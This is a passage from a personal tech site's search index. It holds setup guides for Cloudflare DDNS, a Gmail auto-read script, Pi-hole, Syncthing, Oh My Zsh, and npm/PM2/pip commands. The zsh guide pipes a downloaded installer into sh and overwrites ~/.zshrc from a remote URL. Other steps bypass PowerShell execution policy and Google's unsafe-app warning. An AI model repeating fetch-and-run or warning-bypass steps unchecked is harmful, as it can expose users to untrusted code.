    To generate a webhook URL, follow the official Discord instructions.

    ", "tags": ["automation", "cloudflare", "ddns", "powershell"]}, {"location": "automation/ddns-cloudflare-powershell/#running-the-script", "title": "Running The Script", "text": "

    Open cmd/powershell

    Example:

    powershell.exe -ExecutionPolicy Bypass -File C:\\DDNS-Cloudflare-PowerShell\\update-cloudflare-dns.ps1\n
    ", "tags": ["automation", "cloudflare", "ddns", "powershell"]}, {"location": "automation/ddns-cloudflare-powershell/#automation-with-windows-task-scheduler", "title": "Automation With Windows Task Scheduler", "text": "

    Example: Run at boot with 1 min delay and repeat every 1 min

    • Open Task Scheduler
    • Action -> Crate Task
    • General Menu
    • Name: update-cloudflare-dns
    • Run whether user is logged on or not
    • Trigger
    • New...
    • Begin the task: At startup
    • Delay task for: 1 minute
    • Repeat task every: 1 minute
    • for duration of: indefinitely
    • Enabled
    • Actions
    • New...
    • Action: Start a Program
    • Program/script: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe
    • Add arguments: -ExecutionPolicy Bypass -File C:\\DDNS-Cloudflare-PowerShell\\update-cloudflare-dns.ps1
    • ok
    • Enter your user's password when prompted
    • Conditions
    • Power: Uncheck - [x] Start the task only if the computer is on AC power
    ", "tags": ["automation", "cloudflare", "ddns", "powershell"]}, {"location": "automation/ddns-cloudflare-powershell/#logs", "title": "Logs", "text": "

    This Script will create a log file with only the last run information Log file will be located as same directory as update-cloudflare-dns.ps1

    Log file name:

    update-cloudflare-dns.log\n
    ", "tags": ["automation", "cloudflare", "ddns", "powershell"]}, {"location": "automation/ddns-cloudflare-powershell/#license", "title": "License", "text": "", "tags": ["automation", "cloudflare", "ddns", "powershell"]}, {"location": "automation/ddns-cloudflare-powershell/#mit-license", "title": "MIT License", "text": "

    Copyright\u00a9 3os.org @2020

    Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the \"Software\"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:

    The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.

    THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.

    ", "tags": ["automation", "cloudflare", "ddns", "powershell"]}, {"location": "automation/gmail-mark-archived-mail-as-read/", "title": "Automatically Mark Archived Email as Read in Gmail", "text": "", "tags": []}, {"location": "automation/gmail-mark-archived-mail-as-read/#background", "title": "Background", "text": "

    My preferred method of managing emails in Gmail is Zero Inbox. In short, emails in Inbox work as to-do list. The Inbox may contain important email i need to attend or a digital receipt from a payment I've made a minute ago. Since I know the content of that email the task is done and I archive it. This email will move from Inbox to All Mail or a dedicated label if you have automation rules.

    ", "tags": []}, {"location": "automation/gmail-mark-archived-mail-as-read/#the-problem", "title": "The Problem", "text": "

    When using the Archive function email which weren't opened or marked as Read will show as number counter in All Mail or Dedicated Label. Since I'm done with those emails I have to manually mark emails as read. This is a tedious task and I don't want to do it manually

    ", "tags": []}, {"location": "automation/gmail-mark-archived-mail-as-read/#the-solution", "title": "The Solution", "text": "

    Using Google Scripts We can create a personal app that will automatically mark emails as read when they are archived. This is a simple script that will run on Gmail and will mark emails as read when they are no longer in the inbox folder. You can choose how often you want to automatically mark archived email as read in gmail. This solution was tested on personal Gmail accounts and the Google Workspace Gmail accounts (as long you can grunt permission).

    ", "tags": []}, {"location": "automation/gmail-mark-archived-mail-as-read/#installation", "title": "Installation", "text": "

    Make sure you are logged in to your Google account. Open Google Scripts and create a new project.

    You will be prompted with a new windwos. Rename the project to Automatically Mark Archived Email as Read. Copy and repace the following code to the new project.

    function markArchivedAsRead() {\nvar threads = GmailApp.search('label:unread -label:inbox', 0, 100);\nGmailApp.markThreadsRead(threads);\nvar spamThreads = GmailApp.search('label:spam -label:inbox', 0, 100);\nGmailApp.markThreadsRead(spamThreads);\n}\n

    Your windwos should look like this:

    Save the project.

    After saving the project you should be able Run the script.

    On the first run the script will ask you to give it the necessary permissions. Click Review permissions to continue.

    Since the app is not signed you will be prompted with a warning. I's ok and safe. Click Advanced.

    Click Go to Gmail Mark Archived as Read (unsafe) to continue.

    At this point you will be prompted to grant the script Automatically Mark Archived Email as Read access to your Gmail account. Click Allow. This will alow the script to perform the actions you need.

    If all went well you should see the log of the script as show bellow.

    At this point we create a Automatically Mark Archived Email as Read script and grunt it the necessary permissions. NNow we want to automate the process. We can do this by creating a new timed trigger. Head over the Trigger menu

    Click Add Trigger.

    You will be prompted to select when and how the script will run. The following example will run the script every 5 minutes, and send a failure email report onece a week.

    Note

    The script may fail onces in a while. This is due to the fact it depends on Gmail's API. Unless you receive an email with hunders of failed attempts, you can ignore the email.

    Note

    Update: Some people are reporting an error which says \"This operation can only be applied to at most 100 threads. (line 3, file \"Code\")\". To fix this, you have to manually do a search for \"is:unread\" and mark all of them as read before running the script, so that it starts with a clean slate. The script can only process 100 threads per run, so if you give it more than 100 on the first run,

    After creating the trigger you screen should look like this:

    Now we whant to ensure that the script runs every 5 minutes. We can do this in Execution menu:

    When 5 minutes passed from the point the trigger was created, the page log should look like this:

    We are done with the installation and the configuration. You should already be able to see that some of the emails are marked as read.

    ", "tags": []}, {"location": "automation/gmail-mark-archived-mail-as-read/#limitations", "title": "Limitations", "text": "

    Google's API is limited to 100 threads per request - a single script's run. This means that every 5 minutes it runs it will mark 100 emails as read. Since the script is run every 5 minutes, it won't take long to mark all emails as read automatically. If you aren't able to wait you can do it mark emails as read manually.

    ", "tags": []}, {"location": "automation/gmail-mark-archived-mail-as-read/#troubleshooting", "title": "Troubleshooting", "text": "

    I've seen this script working without any issues for months, But suddenly you may receive an email with the Automatically Mark Archived Email as Read failing to run all the time. The reason is that the script lost the Gmail permissions. The solution is to run the script manually and grant the script the necessary permissions as the first time.

    ", "tags": []}, {"location": "automation/pihole-cloudflare-dns-sync/", "title": "Pi-hole Cloudflare DNS Sync", "text": "

    Pihole Cloudflare DNS Sync Github Repository. Pihole Cloudflare DNS Sync Docker Hub Page.

    ", "tags": ["pi-hole", "docker", "dns", "cloudflare"]}, {"location": "automation/pihole-cloudflare-dns-sync/#description", "title": "Description", "text": "

    Lightweight Container image based on python:3.9.13-alpine to be used in conjunction with a Pi-hole instance to sync the DNS records from Cloudflare DNS Service to Pi-hole local DNS.

    ", "tags": ["pi-hole", "docker", "dns", "cloudflare"]}, {"location": "automation/pihole-cloudflare-dns-sync/#supports", "title": "Supports", "text": "
    • A records
    • CNAME records
    • Any type of Pi-hole instance
    ", "tags": ["pi-hole", "docker", "dns", "cloudflare"]}, {"location": "automation/pihole-cloudflare-dns-sync/#requirements", "title": "Requirements", "text": "
    • Cloudflare API Readonly Token
    • Pi-hole instance
    ", "tags": ["pi-hole", "docker", "dns", "cloudflare"]}, {"location": "automation/pihole-cloudflare-dns-sync/#creating-a-cloudflare-api-token", "title": "Creating a Cloudflare API token", "text": "

    To create a CloudFlare API token for your DNS zone go to https://dash.cloudflare.com/profile/api-tokens and follow these steps:

    1. Click Create Token
    2. Select Create Custom Token
    3. Provide the token a name, for example, example.com-dns-zone-readonly
    4. Grant the token the following permissions: - Zone - DNS - Read
    5. Set the zone resources to: - Include - Specific Zone - example.com
    6. Complete the wizard and use the generated token at the CLOUDFLARE_API_TOKEN variable for the container
    ", "tags": ["pi-hole", "docker", "dns", "cloudflare"]}, {"location": "automation/pihole-cloudflare-dns-sync/#parameters", "title": "Parameters", "text": "Parameter Description Default Type Required CLOUDFLARE_API_TOKEN Cloudflare API Token change_me string Yes CLOUDFLARE_DOMAIN Cloudflare Domain example.com string Yes EXCLUDE_PROXIED_RECORDS Exclude Proxied Records yes string Yes PIHOLE_HOST Pi-hole hostname/IP 123.123.123.123 string Yes PIHOLE_PORT Pi-hole port 80 integer Yes USE_HTTPS http/https for pihole no string Yes PIHOLE_PASSWORD Pi-hole password change_me string Yes RUN_EVERY Run very x minute 5 integer Yes", "tags": ["pi-hole", "docker", "dns", "cloudflare"]}, {"location": "automation/pihole-cloudflare-dns-sync/#usage", "title": "Usage", "text": "

    Docker run example:

    docker run -d \\\n--name pihole-cloudflare-dns-sync \\\n-h pihole-cloudflare-dns-sync \\\n--restart always \\\n-v /etc/timezone:/etc/timezone:ro \\\n-v /etc/localtime:/etc/localtime:ro \\\n-e CLOUDFLARE_API_TOKEN=cloudflare_secret_dns_zone_api_token \\\n-e CLOUDFLARE_DOMAIN=example.com \\\n-e EXCLUDE_PROXIED_RECORDS=yes \\\n-e PIHOLE_HOST=123.123.123.123 \\\n-e PIHOLE_PORT=80 \\\n-e USE_HTTPS=no \\\n-e PIHOLE_PASSWORD=secret \\\n-e RUN_EVERY=1 \\\n-e PUID=1000 \\\n-e PGID=1000 \\\nfire1ce/pihole-cloudflare-dns-sync\n

    Docker compose example:

    version: '3'\n\nservices:\n  pihole-cloudflare-dns-sync:\n    image: fire1ce/pihole-cloudflare-dns-sync\n    container_name: pihole-cloudflare-dns-sync\n    hostname: pihole-cloudflare-dns-sync\n    restart: always\n    network_mode: bridge\n    volumes:\n      - /etc/timezone:/etc/timezone:ro\n      - /etc/localtime:/etc/localtime:ro\n    environment:\n      - CLOUDFLARE_API_TOKEN=cloudflare_secret_dns_zone_api_token\n      - CLOUDFLARE_DOMAIN=example.com\n      - EXCLUDE_PROXIED_RECORDS=yes\n      - PIHOLE_HOST=123.123.123.123\n      - PIHOLE_PORT=80\n      - USE_HTTPS=no\n      - PIHOLE_PASSWORD=secret\n      - RUN_EVERY=1\n      - PUID=1000\n      - PGID=1000\n
    ", "tags": ["pi-hole", "docker", "dns", "cloudflare"]}, {"location": "automation/pihole-cloudflare-dns-sync/#license", "title": "License", "text": "

    This project is licensed under the GNU General Public License v3.0 - see the LICENSE file for details

    ", "tags": ["pi-hole", "docker", "dns", "cloudflare"]}, {"location": "automation/syncthings/", "title": "Syncthing", "text": "

    Syncthing is a continuous file synchronization program. Syncthing is an application that allows you to synchronize files between multiple devices. This means that creating, editing, or deleting files on one computer can be automatically copied to other devices.

    Official website: syncthing.net

    ", "tags": ["syncthing", "automation", "linux", "macos", "synology", "windows"]}, {"location": "automation/syncthings/#debianubuntu-installation", "title": "Debian/Ubuntu Installation", "text": "

    We need to add the following Syncthing repository to the system.

    First, we need to add PGP keys to allow the system to check the packages authenticity

    sudo curl -s -o /usr/share/keyrings/syncthing-archive-keyring.gpg https://syncthing.net/release-key.gpg\n

    Then we will add the stable Syncthing repository channel to your APT sources

    echo \"deb [signed-by=/usr/share/keyrings/syncthing-archive-keyring.gpg] https://apt.syncthing.net/ syncthing stable\" | sudo tee /etc/apt/sources.list.d/syncthing.list\n

    Now we can update the package list and install Syncthing

    sudo apt update\nsudo apt install syncthing\n
    ", "tags": ["syncthing", "automation", "linux", "macos", "synology", "windows"]}, {"location": "automation/syncthings/#configuration-syncthing-as-a-service", "title": "Configuration Syncthing as a Service", "text": "

    Configuring Syncthing as a service will provide as the ability to start and stop and enable/disable the service at boot.

    Create a systemd unit file for managing the Syncthing service.

    nano /etc/systemd/system/syncthing@.service\n

    In the next example we will be setting the Syncthing service UI to listen on local host (127.0.0.1) and port 8384

    Add the following lines to the syncthing@.service:

    [Unit]\nDescription=Syncthing - Open Source Continuous File Synchronization for %I\nDocumentation=man:syncthing(1)\nAfter=network.target\n\n[Service]\nUser=%i\nExecStart=/usr/bin/syncthing -no-browser -gui-address=\"127.0.0.1:8384\" -no-restart -logflags=0\nRestart=on-failure\nSuccessExitStatus=3 4\nRestartForceExitStatus=3 4\n\n[Install]\nWantedBy=multi-user.target\n

    Save and close the file when you are finished. Then, reload the systemd daemon to apply the configuration:

    systemctl daemon-reload\n

    Next, start the Syncthing service with the following command depending on a user this example is root

    systemctl start syncthing@root\n

    To verify the status of the Syncthing service, run the following command:

    systemctl status syncthing@root\n

    Finally, enabled the syncthing service on boot

    systemctl enable syncthing@root\n
    ", "tags": ["syncthing", "automation", "linux", "macos", "synology", "windows"]}, {"location": "automation/syncthings/#macos-installation", "title": "MacOS Installation", "text": "

    You can download the MacOS installation package from Syncthing Downloads, But my preferred way is to use the Homebrew package manager.

    brew install --cask syncthing\n
    ", "tags": ["syncthing", "automation", "linux", "macos", "synology", "windows"]}, {"location": "automation/syncthings/#windows-installation", "title": "Windows Installation", "text": "

    Window installation from Syncthing Downloads installs the Syncthing as a service without any system tray icon or menu.

    The best way I found is to use SyncTrayzor from SyncTrayzor Github Page. It hosts and wraps Syncthing, making it behave more like a native Windows application and less like a command-line utility with a web browser interface.

    You can also instal it win winget with the following command:

    winget install SyncTrayzor.SyncTrayzor\n
    ", "tags": ["syncthing", "automation", "linux", "macos", "synology", "windows"]}, {"location": "automation/syncthings/#synology-dsm-installation", "title": "Synology DSM Installation", "text": "

    In order to install Syncthing, we need to add 3rd party packages to Synology DSM. Synology Community Packages provides packages for Synology-branded NAS devices.

    After we added Synology Community Packages you will be able to install Syncthing from the Cummunity tab.

    Permissions for the Syncthing service will be handled by the new system user sc-syncthing

    ", "tags": ["syncthing", "automation", "linux", "macos", "synology", "windows"]}, {"location": "automation/syncthings/#syncthing-configuration", "title": "Syncthing Configuration", "text": "

    The following configuration are the same for all the installation methods. I'm no going to cover the basic configuration, but I will show you some of my personal preferences.

    First to configure the Syncthing we need to access it's Web UI. The Default url is http://127.0.0.1:8384

    If you are using Syncthing at remote Linux host, you can use SSH tunnel to access the Web UI.

    ssh  -L 8001:127.0.0.1:8384 root@192.168.102.6\n

    This will forward 127.0.0.1:8384 from the remote host to 127.0.0.1:8001 on the local host.

    For security reasons, I like to disable all the Discovery and Repay services.

    When you disable the Discovery service, you will have to manually add the connection to other devices.

    ", "tags": ["syncthing", "automation", "linux", "macos", "synology", "windows"]}, {"location": "automation/syncthings/#manual-connection-example", "title": "Manual Connection Example", "text": "
    tcp://192.168.1.1:22000\n

    or

    tcp://example.com:22000\n

    ", "tags": ["syncthing", "automation", "linux", "macos", "synology", "windows"]}, {"location": "automation/syncthings/#syncthing-files-ignore-patterns", "title": "Syncthing Files Ignore Patterns", "text": "

    Syncthing supports of Ignore Patterns you can use it to Ignore Files synchronization. This will save you a lot of headaches with sync errors

    Here is a list of the Ignore Patterns for system files:

    // Apple macOS\n(?d).DS_Store\n(?d).localized\n(?d)._*\n(?d).Icon*\n(?d).fseventsd\n(?d).Spotlight-V100\n(?d).DocumentRevisions-V100\n(?d).TemporaryItems\n(?d).Trashes\n(?d).Trash-1000\n(?d).iCloud\n(?d)Photos Library.photoslibrary\n\n// GNU/Linux\n(?d).directory\n(?d).Trash-*\n\n// Microsoft Windows\n(?d)desktop.ini\n(?d)ehthumbs.db\n(?d)Thumbs.db\n(?d)$RECYCLE.BIN\n(?d)System Volume Information\n\n// QNAP QTS\n(?d).AppleDB\n(?d).@_thumb\n(?d).@__thumb\n\n// Synology DSM\n(?d)@eaDir\n\n// Adobe Lightroom\n*Previews.lrdata root-pixels.db\n\n// Dropbox\n.dropbox\n.dropbox.attr\n\n// Firefox & Chrome\n*.part\n*.crdownload\n\n// Microsoft Office\n~*\n\n// Parallels Desktop for Mac\n.parallels-vm-directory\n\n// Resilio Sync\n.sync\n*.bts\n*.!Sync\n.SyncID\n.SyncIgnore\n.SyncArchive\n*.SyncPart\n*.SyncTemp\n*.SyncOld\n\n// Temporary and backup files\n*.temporary\n*.tmp\n*._mp\n*.old\n*.syd\n*.dir\n*.gid\n*.chk\n*.dmp\n*.nch\n.*.swp\n*~\n\n// Vim\n*.*.sw[a-p]\n

    Example of working Syncthing Web UI:

    ", "tags": ["syncthing", "automation", "linux", "macos", "synology", "windows"]}, {"location": "automation/guides/better-terminal-experience/", "title": "Better Terminal Experience", "text": "", "tags": ["macos", "linux", "terminal", "zsh", "oh-my-zsh"]}, {"location": "automation/guides/better-terminal-experience/#introduction", "title": "Introduction", "text": "

    I have been using terminal for a long time, it's one of my essential tools for my everyday work and hobbies. The default terminal experience is not very user friendly, and I find it sometimes frustrating to use for basic tasks. So I decided to improve my terminal experience for macOS and Linux without too much effort from the user side. This guide will help you to install and configure the **better terminal experience in less than 5 minutes.

    Better Terminal Experience guide based on ZSH Shell with Oh My Zsh on top of it. Using built-in theme called Bira, zsh auto suggestions plugin that suggests commands as you type based on history and completions and zsh syntax highlighting plugin that highlighting of commands whilst they are typed at a zsh prompt into an interactive terminal.

    ", "tags": ["macos", "linux", "terminal", "zsh", "oh-my-zsh"]}, {"location": "automation/guides/better-terminal-experience/#whats-zsh", "title": "What's ZSH", "text": "

    Z-shell (Zsh) is a Unix shell that can be used as an interactive login shell and as a shell scripting command interpreter. Zsh is an enhanced Bourne shell with many enhancements, including some Bash, ksh and tcsh features.

    ", "tags": ["macos", "linux", "terminal", "zsh", "oh-my-zsh"]}, {"location": "automation/guides/better-terminal-experience/#whats-oh-my-zsh", "title": "What's Oh-My-Zsh", "text": "

    Oh My Zsh is an open source, community-driven framework for managing your zsh configuration.

    ", "tags": ["macos", "linux", "terminal", "zsh", "oh-my-zsh"]}, {"location": "automation/guides/better-terminal-experience/#installation", "title": "Installation", "text": "", "tags": ["macos", "linux", "terminal", "zsh", "oh-my-zsh"]}, {"location": "automation/guides/better-terminal-experience/#requirements", "title": "Requirements", "text": "
    • git
    • zsh
    • wget

    Install the following requirements packages with the following commands:

    Linux apt exampleMacOS homebrew example
    apt install -y git zsh wget\n
    brew install git wget zsh\n
    ", "tags": ["macos", "linux", "terminal", "zsh", "oh-my-zsh"]}, {"location": "automation/guides/better-terminal-experience/#oh-my-zsh", "title": "Oh My Zsh", "text": "

    We can proceed to install Oh My Zsh with the following command:

    sh -c \"$(wget https://raw.githubusercontent.com/robbyrussell/oh-my-zsh/master/tools/install.sh -O -)\"\n

    Answer Yes when asked to change the default shell to zsh.

    Install Autosuggestions, Syntax-Highlighting Plugins using git clone:

    git clone https://github.com/zsh-users/zsh-syntax-highlighting.git ~/.oh-my-zsh/custom/plugins/zsh-syntax-highlighting\ngit clone https://github.com/zsh-users/zsh-autosuggestions ~/.oh-my-zsh/custom/plugins/zsh-autosuggestions\n
    ", "tags": ["macos", "linux", "terminal", "zsh", "oh-my-zsh"]}, {"location": "automation/guides/better-terminal-experience/#configuration", "title": "Configuration", "text": "

    Oh My Zsh crates a default configuration file called .zshrc in the user's home directory.

    We need to edit the configuration file. You can use any editor to edit the file.

    nano example:

    nano ~/.zshrc\n

    We need to add or change the following lines to the configuration file:

    Find the theme and change it to bira

    ZSH_THEME=\"bira\"\n

    find the plugins and change it to the following:

    plugins=(git colored-man-pages docker docker-compose iterm2 node npm brew colorize macos pip pyenv virtualenv adb aws command-not-found zsh-autosuggestions zsh-syntax-highlighting)\n

    The autosuggestions plugin has a bug with copy and paste so there is a workaround for that. Append the following to the end of the config to activate the workaround.

    ## Fix for Slow zsh-autosuggestions copy&paste\nautoload -Uz bracketed-paste-magic\nzle -N bracketed-paste bracketed-paste-magic\nzstyle ':bracketed-paste-magic' active-widgets '.self-*'\n

    Save and exit the file. Open new terminal window and enjoy Better Terminal Experience!

    ", "tags": ["macos", "linux", "terminal", "zsh", "oh-my-zsh"]}, {"location": "automation/guides/better-terminal-experience/#bonus-personal-theme-preconfigured", "title": "Bonus: Personal Theme, preconfigured", "text": "

    I've made a personal theme 3os based on the Bira theme with some tweaks.

    Danger

    The following commands will overwrite your current config if exists.

    Make sure you have a backup of your config before proceeding!!!

    wget -O ~/.oh-my-zsh/themes/3os.zsh-theme https://3os.org/assets/zsh/3os.zsh-theme\nwget -O ~/.zshrc https://3os.org/assets/zsh/zshrc_config\n
    ", "tags": ["macos", "linux", "terminal", "zsh", "oh-my-zsh"]}, {"location": "automation/guides/pihole-doh/", "title": "Pi-hole as DNS Server with DNS over HTTPS (DOH) Based on Docker Containers", "text": "", "tags": ["pi-hole", "doh", "docker", "dns", "dns-over-https"]}, {"location": "automation/guides/pihole-doh/#whats-pi-hole", "title": "What's Pi-hole?", "text": "

    Pi-hole Official Website Official Website.

    Pi-hole is a DNS server that is designed to block ads and trackers. It is a free and open source software project. It's based on blocklists and acts as a DNS sinkhole.

    ", "tags": ["pi-hole", "doh", "docker", "dns", "dns-over-https"]}, {"location": "automation/guides/pihole-doh/#whats-dns-over-https-doh", "title": "What's DNS over HTTPS (DOH)?", "text": "

    DNS over HTTPS (DoH) is an internet security protocol that communicates domain name server information in an encrypted way over HTTPS connections.

    ", "tags": ["pi-hole", "doh", "docker", "dns", "dns-over-https"]}, {"location": "automation/guides/pihole-doh/#my-pi-hole-setup", "title": "My Pi-hole Setup", "text": "

    My setup fully depends on pi-hole dns server, that's why I use two servers one as primary DNS Server and the second as secondary DNS server.

    I've configured my router as a DNS server for all the DHCP clients with primary and the secondary DNS as my pi-hole servers. This way all the clients requests the router to resolve the DNS and the router forwards the request to the pi-hole servers.

    • Pi-hole-1 runs on ubuntu server (virtual machine)
    • Pi-hole-2 runs on Raspberry Pi

    Warning

    This is not a step by step guide for all the configurations of pihole or how to use docker containers. The following instuctions include only the deployemt of the pi-hole server with DoH providers.

    ", "tags": ["pi-hole", "doh", "docker", "dns", "dns-over-https"]}, {"location": "automation/guides/pihole-doh/#installation", "title": "Installation", "text": "

    We Will be using docker-compose to deploy the pi-hole server with DoH providers with a single configuration file.

    The following docker-compose.yml includes two images: Pi-hole container, and cloudflared container. When you run docker-compose up the containers will be created and started. I't will create internal network for the pihole and two instances of cloudflared. When a request comes in the pihole will forward the request to the cloudflared instances one of them will use Cloudflare DNS servers and the other will use Google's DNS servers. There is no need to configure the pihole's DNS server at the UI since the configuration is done by docker-compose.yml file.

    When using this setup two folders will be created on the Host machine for persistent storage of the containers: config, dnsmasq.d. Those folders will be mounted to the containers when its running/restarted/recreated. Those folders will be created at the root folder of the docker-compose.yml file.

    Create a folder for the deployment of the containers at your host machine. create a file named docker-compose.yml at the root folder and copy the following content to it:

    version: '2.4'\n\nservices:\npihole:\ncontainer_name: pihole\nhostname: pihole\nrestart: always\nimage: pihole/pihole\nnetworks:\ndns:\nipv4_address: 172.20.0.9\ndepends_on:\ngoogle-8.8.8.8:\ncondition: service_started\ncloudflare-1.1.1.1:\ncondition: service_started\nvolumes:\n- ./config:/etc/pihole/\n- ./dnsmasq.d:/etc/dnsmasq.d/\n- /etc/localtime:/etc/localtime\nports:\n- '7003:80'\n- '53:53/tcp'\n- '53:53/udp'\nenvironment:\n- ServerIP=127.0.0.1\n- WEBPASSWORD=ChangeMe\n- PIHOLE_DNS_=172.20.0.10;172.20.0.12\n\ncloudflare-1.1.1.1:\ncontainer_name: cloudflare-1.1.1.1\nhostname: cloudflare-1.1.1.1\nrestart: always\nimage: visibilityspots/cloudflared\nnetworks:\ndns:\nipv4_address: 172.20.0.10\nexpose:\n- '53/tcp'\n- '53/udp'\nenvironment:\n- PORT=53\n- UPSTREAM1=https://1.1.1.1/dns-query\n- UPSTREAM2=https://1.1.1.1/dns-query\nvolumes:\n- /etc/localtime:/etc/localtime\n\ngoogle-8.8.8.8:\ncontainer_name: google-8.8.8.8\nhostname: google-8.8.8.8\nrestart: always\nimage: visibilityspots/cloudflared\nnetworks:\ndns:\nipv4_address: 172.20.0.12\nexpose:\n- '53/tcp'\n- '53/udp'\nenvironment:\n- PORT=53\n- UPSTREAM1=https://8.8.8.8/dns-query\n- UPSTREAM2=https://8.8.8.8/dns-query\nvolumes:\n- /etc/localtime:/etc/localtime\n\nnetworks:\ndns:\nipam:\nconfig:\n- subnet: 172.20.0.0/24\n

    Now run docker-compose up -d to create the containers. If all went well you should should be able to access the pihole server at http://127.0.0.1.7003 with password ChangeMe from the config above.

    Now you need to change your dns server to point to the pihole server. We are done with the installation.

    ", "tags": ["pi-hole", "doh", "docker", "dns", "dns-over-https"]}, {"location": "development/node-npm/npm/", "title": "Npm Command-line Utility", "text": "

    npm is two things: first and foremost, it is an online repository for the publishing of open-source Node.js projects; second, it is a command-line utility for interacting with said repository that aids in package installation, version management, and dependency management. A plethora of Node.js libraries and applications are published on npm, and many more are added every day.

    ", "tags": ["npm", "cheat-sheet", "node"]}, {"location": "development/node-npm/npm/#updating-node-npm-to-latest-stable-version", "title": "Updating Node & npm to Latest Stable Version", "text": "

    npm:

    npm install -g npm\n

    node:

    npm cache clean -f\nnpm install -g n\nn stable\n
    ", "tags": ["npm", "cheat-sheet", "node"]}, {"location": "development/node-npm/npm/#updating-local-project-packages", "title": "Updating Local Project Packages", "text": "

    Navigate to the root directory of your project and ensure it contains a package.json In your project root directory, run:

    npm update\n

    To test the update, run the outdated command. There should not be any output.

    npm outdated\n
    ", "tags": ["npm", "cheat-sheet", "node"]}, {"location": "development/node-npm/npm/#updating-globally-installed-packages", "title": "Updating Globally-Installed Packages", "text": "

    To see which global packages need to be updated, on the command line, run:

    npm outdated -g --depth=0\n

    To update a single global package, on the command line, run:

    npm update -g <package_name>\n

    To update all global packages, on the command line, run:

    npm update -g\n
    ", "tags": ["npm", "cheat-sheet", "node"]}, {"location": "development/node-npm/pm2/", "title": "PM2 - Node.js Process Manager", "text": "

    PM2 is a daemon process manager that will help you manage and keep your application online. Getting started with PM2 is straightforward, it is offered as a simple and intuitive CLI, installable via NPM.

    Follow the official documentation for installation and usage instructions: PM2 Official Documentation

    ", "tags": ["npm", "node", "pm2", "cheat-sheet", "process-manager"]}, {"location": "development/node-npm/pm2/#installation", "title": "Installation", "text": "

    The latest PM2 version is installable with NPM or Yarn:

    npm install pm2@latest -g\n# or\nyarn global add pm2\n
    ", "tags": ["npm", "node", "pm2", "cheat-sheet", "process-manager"]}, {"location": "development/node-npm/pm2/#start-an-application-with-pm2", "title": "Start An Application With PM2", "text": "

    The simplest way to start, daemonize and monitor your application is by using this command line:

    pm2 start app.js\n
    ", "tags": ["npm", "node", "pm2", "cheat-sheet", "process-manager"]}, {"location": "development/node-npm/pm2/#start-application-with-detailed-time-for-logs", "title": "Start Application With Detailed Time For Logs", "text": "
    pm2 start app.js --log-date-format \"YYYY-MM-DD HH:mm:ss\"\n
    ", "tags": ["npm", "node", "pm2", "cheat-sheet", "process-manager"]}, {"location": "development/node-npm/pm2/#managing-processes", "title": "Managing Processes", "text": "

    Managing application state is simple here are the commands:

    pm2 restart app_name\npm2 reload app_name\npm2 stop app_name\npm2 delete app_name\n
    ", "tags": ["npm", "node", "pm2", "cheat-sheet", "process-manager"]}, {"location": "development/node-npm/pm2/#save-configuration-of-processes-to-pm2", "title": "Save Configuration of Processes to PM2", "text": "

    And to freeze a process list for automatic respawn:

    pm2 save\n
    ", "tags": ["npm", "node", "pm2", "cheat-sheet", "process-manager"]}, {"location": "development/node-npm/pm2/#list-managed-applications", "title": "List Managed Applications", "text": "

    List the status of all application managed by PM2:

    pm2 [list|ls|status]\n

    ", "tags": ["npm", "node", "pm2", "cheat-sheet", "process-manager"]}, {"location": "development/node-npm/pm2/#display-logs", "title": "Display Logs", "text": "

    To display logs in realtime for all processes managed by PM2, use the following command:

    pm2 logs\n

    To display logs in realtime for all processes managed by PM2, for last 200 lines use the following command:

    pm2 logs --lines 200\n

    To display logs in realtime for specific process, use the following command:

    pm2 logs <app_name>/<id>\n

    To display logs in realtime for specific process, for last 200 lines use the following command:

    pm2 logs <app_name>/<id> --lines 200\n
    ", "tags": ["npm", "node", "pm2", "cheat-sheet", "process-manager"]}, {"location": "development/node-npm/pm2/#auto-startup-pm2", "title": "Auto Startup PM2", "text": "

    Restarting PM2 with the processes you manage on server boot/reboot is critical. To solve this, just run this command to generate an active startup script:

    pm2 startup\n
    ", "tags": ["npm", "node", "pm2", "cheat-sheet", "process-manager"]}, {"location": "development/node-npm/pm2/#auto-startup-pm2-on-raspberry-pi", "title": "Auto Startup PM2 on Raspberry Pi", "text": "

    When using PM2 on Raspberry Pi. You will encounter a problem when you try to start pm2 with the default command.

    sudo env PATH=$PATH:/usr/local/bin pm2 startup systemd -u pi --hp /home/pi\n
    ", "tags": ["npm", "node", "pm2", "cheat-sheet", "process-manager"]}, {"location": "development/node-npm/pm2/#updating-pm2", "title": "Updating PM2", "text": "

    It's very useful to update PM2 to the latest version specially when you update your Node.js version. Since updating node usually will brake the pm2 process to function properly, you can use the following command to update PM2:

    npm install pm2@latest -g\n

    Then update the in-memory PM2:

    pm2 update\n

    You can also create a alias to update PM2 with one command:

    alias pm2update='npm install pm2@latest -g && pm2 update && pm2 save'\n
    ", "tags": ["npm", "node", "pm2", "cheat-sheet", "process-manager"]}, {"location": "development/python/pip/", "title": "Pip Python Package Manager Cheat Sheet", "text": "

    Pip is the package installer for Python. You can use it to install packages from the Python Package Index and other indexes.

    ", "tags": ["python", "pip", "package-manager", "cheat-sheet"]}, {"location": "development/python/pip/#list-installed-packages-with-pip", "title": "List Installed Packages With Pip", "text": "
    pip list\n
    ", "tags": ["python", "pip", "package-manager", "cheat-sheet"]}, {"location": "development/python/pip/#list-outdated-packages", "title": "List Outdated Packages", "text": "
    pip list --outdated\n
    ", "tags": ["python", "pip", "package-manager", "cheat-sheet"]}, {"location": "development/python/pip/#instal-or-update-package-to-specific-version", "title": "Instal Or Update Package To Specific Version", "text": "

    exmaple with MySQL_python package:

    pip install MySQL_python==1.2.2\n
